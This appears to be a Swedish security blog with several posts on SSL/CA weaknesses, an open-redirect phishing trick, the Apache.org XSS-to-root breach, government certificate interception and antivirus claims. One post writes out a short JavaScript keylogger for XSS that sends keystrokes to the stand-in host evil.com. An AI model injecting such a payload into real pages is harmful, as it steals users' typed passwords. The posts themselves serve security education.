Et tu, Chrome

Så faller då också Chrome. Den hyllades ju som enda överlevande webbläsare under vårens hacktävling pwn2own vilket jag skrev om tidigare.

Nu patchar Google tre allvarliga säkerhetshål och lever upp till sitt löfte att betala för inrapporterade buggar. De skriver om det på sin blogg.

• [Kritisk] Cross-origin bypass in Google URL (GURL). Rapporterad av Jordi Chancel => $1000
• [Kritisk] Memory corruption in font handling. Rapporterad av wushi/team509 => $500
• [Kritisk] Memory corruption in HTML5 Media handling. Rapporterad av David Bloom från Googles eget säkerhetsteam => $0 :)

Köp SSL-cert till nån annans domän

I raden av "det går dåligt för SSL"-inlägg har vi nu kommit till ännu en CA-fadäs.

Kurt Seifried skriver i sin artikel Impersonating secure web servers -- Breach of Trust (pdf) om hur han har lyckats köpa äkta SSL-cert till flera leverantörer av e-post på nätet. Hur? Jo, flera CAs vill verkligen sälja många cert. Så de underlättar för kunden.

Att göra det lätt för kunden

Vad är jobbigast i att köpa ett cert? Ptja, kanske att generera nycklar och ett certificate signing request (CSR). Därför har CAs sett till att beskriva det steg för steg på sina sajter, t ex RapidSSLs beskrivning för Apache.

Sen då? Ja, det är väl att bevisa att man äger domänen i fråga eller åtminstone har rätt att köpa cert till den. Att faktiskt legitimera sig var nog tanken en gång i tiden men nu köper man cert på distans så en e-postadress till domänägaren får duga.

Ofta brukar det vara någon chef som står som registrator. Den publika informationen på Whois har i mångt och mycket försvunnit pga risken för spam så CAs har försökt komma på andra sätta att mejla domänägaren. webmaster@domänen.se borde väl duga? Och root@domänen.se. Och admin@domänen.se. Och ... ja, listan har blivit rätt lång för t ex RapidSSL:

• admin@
• administrator@
• hostmaster@
• info@
• is@
• it@
• mis@
• postmaster@
• root@
• ssladmin@
• ssladministrator@
• sslwebmaster@
• sysadmin@
• webmaster@

Håller e-postleverantörerna koll?

Nu kan man ju fråga sig om e-postleverantörerna på nätet har reserverat alla de här adresserna? Svaret är förstås nej. Kurt fick tag på ssladministrator@-adresser på:

• Inbox.com
• Excite
• Lavabit
• Mail2World
• Ovi (Nokia)

... och då var det bara att köpa SSL-cert till de domänerna!

John är nu ssladmin@spray

Kul, tänkte jag, och registrerade mig snabbt som ssladmin@spray.se (ni når mig där numer :). Jag försökte köpa ett SSL-cert till spray.se* men RapidSSL hade skurit ner till betydligt färre tillåtna e-postadresser efter Kurts artikel. Dessutom kändes det lite dumt trots att min avsikt var att skänka certet till Spray tillsammans med lite upplysning.

Slutsatser

Så vad kan vi säga efter det här? Jo, att ...

• CAs återigen visar sitt ointresse för säkerhet
• Vi har inga globala identiteter på nätet och en e-postadress är ett dåligt substitut för det när det handlar om säkerhet
• SSL fortsätter att ta stryk vilket borde skicka en varningssignal till alla som satsat allt på "Military grade encryption, 128 bit"

* Jag upptäckte sen att Spraymail inte kör https alls, inte ens på inloggningsformuläret. Tjena.

RSnake om Unvalidated Redirects and Forwards

Robert Hansen, alias RSnake, intervjuas av OWASP gällande nyheten på OWASP Top 10 2010 -- Unvalidated Redirects and Forwards. Han har ett par intressanta exempel på när det kan vara allvarligt.

Ta situationen där visst innehåll på en sajt skyddas bakom inloggning. En attackerare kan då länka till en redirect-sida som den legitima sajten skyddar med inloggning. Typ:

http://legitimsajt.se/protected/redirect.action?target=http://attacksajt.se

Sajten ber offret logga in och redirect:ar sen till attackerarens sajt. Attacksidan har precis samma utseende som den legitima sajten men där står det att offrets lösenord har gått ut och att han/hon måste skriva in sitt gamla lösenord och sen välja ett nytt (tack så mycket säger attackeraren). Efter det så skickas offret tillbaka till den legitima sajten som känner igen den pågående sessionen och inte vet att offret varit på villovägar.

Hela tricket här är att öka offrets förtroende genom den normala inloggningsproceduren. Det ökar chansen att lura av honom/henne lösenordet i nästa steg.

Listan på de senaste podcast-avsnitten finns här och en direktlänk till intervjun med RSnake finns här (mp3).

Hur stor är en JavaScript-keylogger?

Jag funderade lite i helgen på hur stor en keylogger i JavaScript behöver vara. Hur mycket skriptkod behöver man få ut via en XSS-sårbarhet? Inte mycket ...

Utan minifiering så fick jag ihop den här:

<script>

__document.onkeypress = function(e) {

____new Image().src = 'http://evil.com/log.php?k='

____+ String.fromCharCode(e.charCode)

__}

</script>

http://evil.com/log.php är alltså den fiktiva sajt jag skickar tangenttryckningarna till. Jag skippade semikolon för att jag samtidigt labbade med att mygla in skriptet i en cookie och cookies separeras ju med just semikolon. Funkar bra ändå.

Kanske är det någon av er som följer bloggen som vill bidra med något ännu mindre? :)

Från XSS till root på apache.org

För lite mer än en vecka sedan blev Apache.org hackade. Nu berättar de på sin blogg vad som hände i detalj. En cross-site scripting-bugg i ärendehanteringssystemet ledde slutligen till root-access och nedladdning av lösenordsdatabaserna.

OBS! Om du har ett konto på Apache:s JIRA, Bugzilla eller Confluence så bör du byta lösenord nu. Om du har haft samma lösenord på andra ställen så byt dem med.

1) XSS, en skakning på nedre däck

Attackerarna hade upptäckt en cross-site scripting-bugg (XSS) i ärendehanteringssystemet JIRA. Man får förmoda att det var en reflekterad XSS eftersom de lurade Apache-admins att klicka på en Tinyurl, en minifierad länk, för ett fejkat ärende:

"ive got this error while browsing some projects in jira http://tinyurl.com/XXXXXXXXX"

Länken omvandlades till en reflekterad XSS som stal deras sessions-kaka, så kallad session hijacking.

2) Adminkonto till JIRA, ladda upp jsp-sidor som projektbilagor

Till slut så kom de förstås över ett adminkonto till Apache:s JIRA. Väl där så stängde de av notifieringarna för ett projekt och ändrade projektets uppladdningskatalog till en katalog som innehöll körbara jsp-sidor. Sen skapade de en massa ärenden till det projektet och bifogade bland annat en jsp som tillät access till filsystemet för att ladda ner alla home-kataloger och en jsp-bakdörr för inlogging med JIRA-applikationens rättigheter.

3) Byta ut en jar för att samla lösenord

I nästa steg lyckades attackerarna installera en ny jar för att samla in användaruppgifter. För att snabbt få in en stor uppsättning lösenord så skickade de ut password reset-mejl till Apache-teamet. Team-medlemmarna förmodade att det var en bugg i JIRA, loggade in med det temporära lösenordet och återställde sitt ursprungliga lösenord.

4) Root-login på servern

Minst ett av de insamlade JIRA-lösenorden var samma som till ett motsvarande användarkonto på själva servern -- ett konto med root-access. Nu hade attackerarna full tillgång till servern som körde JIRA, Bugzilla och Confluence.

5) Access till kod-repositories

Flera av användarna på den nu ägda servern hade chache:ade Subversion-lösenord. På det sättet kom attackerarna vidare till servern med källkods-repositories. Ungefär där, fyra dagar efter XSS-attacken fick Apache stopp på dem och kunde börja undersöka skadorna.

Tankar

Konfigurationen av de här systemen och servrarna låter inte ovanlig i mina öron. Inte heller känns det som att användarna som klickade på det där ärendet gjorde något särskilt konstigt. Samtidigt kan vi i efterhand konstatera att det blev ödesdigert.

Jag tycker man kan ta med sig tre saker:

• Lösenord som autentiseringsmekanism är för krångligt. Vi tenderar att återanvända våra lösenord vilket gör oss sårbara. Apache själva påpekar att deras användning av engångslösenord i andra system räddade dem från en ännu större katastrof.
• Länkminifiering har gjort det i princip omöjligt (iaf väldigt opraktiskt) att veta vart en länk tar en. Jag tycker det är läskigt. Twitter, de minifierade länkarnas himmelrike, har nyligen lanserat sin egen länkminifierare twt.tl som försöker detektera attacker.
• Ta cross-site scripting på allvar. Den ligger högt upp på OWASP Top 10 (pdf) av en anledning.

Övervakning trots SSL

SSL/TLS har fått mycket stryk på sistone. För ett par veckor sedan var det dags igen. Christopher Soghoian från Indiana University och Sid Stamm med kopplingar till säkerhet på Mozilla släppte en draft på sin artikel "Certified Lies: Detecting and Defeating Government Interception Attacks Against SSL" (pdf).

Snabbt om PKI och SSL

Jag misstänker att de flesta som läser här har koll på infrastrukturen bakom PKI men låt oss rekapitulera snabbt.

För att din webbläsare ska kunna avgöra att https://internetbanken.privat.nordea.se verkligen tillhör Nordea så verifierar den Nordeas certifikat. Certifikatet ska vara signerat av en betrodd certifikatsutfärdare (certificate authority, CA). Den signerande utfärdaren kan i sin tur vara signerad av en annan certifikatsutfärdare och på så vis uppstår en förtroendekedja. Högst upp i kedjan finns ett så kallat rot-certifikat. Ungefär så här:

Många rot-certifikat blir det

Men hur vet webbläsaren att den ska lita på rot-certifikatet? Jo, den har en förinstallerad lista på vilka rot-certifikat den ska lita på. Man skulle kunna tro att det är en någorlunda kort lista som alla världens webbläsare litar på. Så är det emellertid inte.

• Windows: Litar automatiskt på 264 rot-certifikat
• Mac OS: Litar automatiskt på 166 rot-certifikat
• Firefox: Litar automatiskt på 144 rot-certifikat (bortser från operativsystemets lista)

Din webbläsare godkänner alltså att 150-250 olika organisationer utfärdar ett godkänt certifikat för https://internetbanken.privat.nordea.se. Eller för den skull https://mail.google.com och https://dittföretag.se. I webbläsaren kommer det se likadant ut oavsett vilken organisation som utfärdat det.

Många stater har rot-certifikat

OK, vilka är då dessa hundratals organisationer som vi alla litar på? Ptja, många stater finns med, t ex litar Windows på staten i:

• Brasilien
• Finland
• Frankrike
• Hong Kong
• Indien
• Japan
• Korea
• Lettland
• Macao
• Mexiko
• Nederländerna
• Portugal
• Serbien
• Slovenien
• Spanien
• Schweiz
• Taiwan
• Tunisien
• Turkiet
• USA
• Uruguay
• Österrike

Myndigheterna i de länderna kan alltså utfärda godkända certifikat för https://mail.google.com och avlyssna din trafik dit. Du kommer inte märka någonting.

Hur avlyssna i praktiken?

Hur skulle då staten göra i praktiken? Det är inte så smart av t ex spanska staten att direkt utfärda bluffcertifikat för avlyssning. Bluffen går att härleda till dem och webbläsartillverkarna skulle nog ta bort deras rot-certifikat ganska snabbt. Nej, istället så tvingar man, ofta med laglig rätt, en privat rot-CA att skapa en intermediär certifikatsutfärdare åt den myndighet som vill avlyssna. Det motsvarar en mittenlänk i kedjan ("subCA" i bilden ovan). Med en sådan intermediär utfärdare kan myndigheten skapa godkända certifikat på löpande band!

Nu gäller det bara att befinna sig någonstans mellan offret som ska avlyssnas och den server offret surfar till med https. När uppkopplingen sker så skapas ett godkänt bluffcertifikat direkt (om det inte redan finns från tidigare avlyssning) och allt ser bra ut hos offret. Det fungerar så här:

Men sånt händer väl inte?

Nu har väl John halkat för långt ner i konspirationsteorierna i alla fall? Nope. Författarna till artikeln började nämligen rota i det här efter att de på en mässa om övervakningssystem kommit i kontakt med Packet Forensics, ett företag från Arizona i USA.

I sin monter marknadsförde Packet Forensics små övervakningsenheter för nätverk. Deras "turnkey intercept solution" möjliggör "packet modification, injection and replay capabilities" i Gb/s-hastighet. Vidare säger de:

"To use our product in this scenario, users have the ability to import a copy of any legitimate key they obtain (potentially by court order) or they can generate ‘look-alike’ keys designed to give the subject a false sense of confidence in its authenticity."

Företaget berättar att "government customers have compelled CAs into issuing certificates for use in surveillance operations". Känns ... så där.

Tänkvärt

I ljuset av ovanstående ger jag bara en liten lista på tänkvärda ämnen:

• Kinas övervakning av oppositionella
• USA vs EU i industrispionage, inkl Echelon
• FRA-debatten
• Förinstallerade företagsinterna rot-certifikat
• Alla organisationer man möter på som svarar "SSL!" på alla frågor om säkerhet ...

Två öppna frågor till antivirusföretagen

Förra året deltog jag i en paneldebatt om antivirus och nu i veckan blev jag intervjuad om antivirus och webbapplikationer. Det fick mig att minnas två frågor jag ställde till antivirusföretagen under paneldebatten, två frågor som står sig än idag:

Kära antivirusföretag, vad menar ni med anti och vad menar ni med virus?

Anti

Anti uppfattar jag som skydd, dvs att jag ska vara skyddad från virusinfektioner. Försöker man bena ut det så kan anti stå för:

• Upptäckt av virus (detektering)
• Förhindrande av virusinfektion (prevention)
• Desinficering efter virusangrepp
• Isolering av virusinfekterade resurser (karantän)

När jag frågade antivirusföretagen vad på den listan som anti står för så svarade de "Allt". Men den enda gång jag veterligen har råkat ut för virus i modern tid (post-Amiga) så var det bara detektering jag fick:

"Du har fått virus, vill du att jag desinficerar?" Ja.

"Jag kan inte desinficera, vill du att jag försätter filen i karantän?" Ja.

"Jag kan inte sätta filen i karantän, vill du att jag raderar filen?" Hmm ... OK.

Efter det vägrade operativsystemet att starta igen. Bara att ta fram rescue disc, rädda data och sen installera om.

Virus

Vad är då virus? Den definition av virus jag är mest bekväm med är "Skadlig kod som infekterar andra program och är självkopierande." Men i vardagligt tal så har virus också kommit att stå för:

• Trojaner
• Maskar
• Logiska bomber
• Spionprogram och keyloggers
• Bakdörrar och rootkits
• Skadlig kod i allmänhet

När jag frågade antivirusföretagen vad på den listan som virus står för så svarade de "Allt".

Antivirus = skydd mot all skadlig kod?

Sanning och säga så kallar antivirusföretagen sällan sina produkter för antivirus längre. Det är mer av Internet Protection Suite och liknande. Men frågan om produkterna ger ett komplett skydd är fortfarande relevant.

Svårigheten för ett antivirus att upptäcka polymorfa maskar och trojaner är enormt stor. Att isolera dem är ännu svårare. Desinficering är *sjukt* svårt. Och prevention är i princip omöjligt, åtminstone om systemet ska vara användbart. Allt det vet antivirusföretagen.

Så låt oss kolla säljsnacket på några kända produkter ...

Norton 360 -- Bästa antivirus - skydd mot spoinprogram - brandvägg

Blockerar identifierade virus, spyware, trojaner, maskar, botprogram och rootkit – skyddar din dator mot alla typer av Internetrelaterade hot med ett omfattande och prisbelönt skydd.

McAfee Total Protection 2010 -- Antivirus Firewall-program, skräppostfilter, spionprogram, säkerhetskopiering

Upptäcker, blockerar och tar automatiskt bort virus, spionprogram, reklamprogram och till och med rootkits — försåtliga program som skapats för att manipulera datorer. Hindrar obehöriga från att hacka sig in i din dator.

F-Secure Internet Security 2010

Stoppar virus, spionprogram och annan skadlig kod utan fördröjning. Omedelbart skydd mot nya hot. Brandvägg för skydd mot hackare. Surfskyddet identifierar farliga webbplatser och skyddar din identitet online.

Frågorna kvarstår

Jag tror ovanstående är mer säljsnack än tekniska löften. Därför kvarstår mina frågor om vad jag kan förvänta mig:

• Vad står anti för? Jag tror det står för detektering vilket kanske är gott nog.
• Vad står virus för? Jag tror det står för lite av varje men långt ifrån allt.

SDL version 5 släppt

Microsoft har släppt version fem av Security Development Lifecycle. Nyheter som fångade mitt intresse:

• SDL for Agile ingår (släpptes separat i november förra året)
• Server/SaaS designgranskning
• Säker sessionshantering i webbapplikationer (inkl HTTPOnly-kakor)
• Praxis för att undvika SQL-injektion (vanliga accessmetoder, access via ramverk och stored procedures)
• Skydd mot ClickJacking
• Fuzzing: Alla parsers som exponeras måste testas med minst 100 000 felaktiga paket/indata
• Anti-CSRF-tokens

Steve Lipner kommer säkerligen beröra SDL-nyheterna i sin presentation på OWASP-konferensen i Stockholm i sommar.

Glad påsk på er!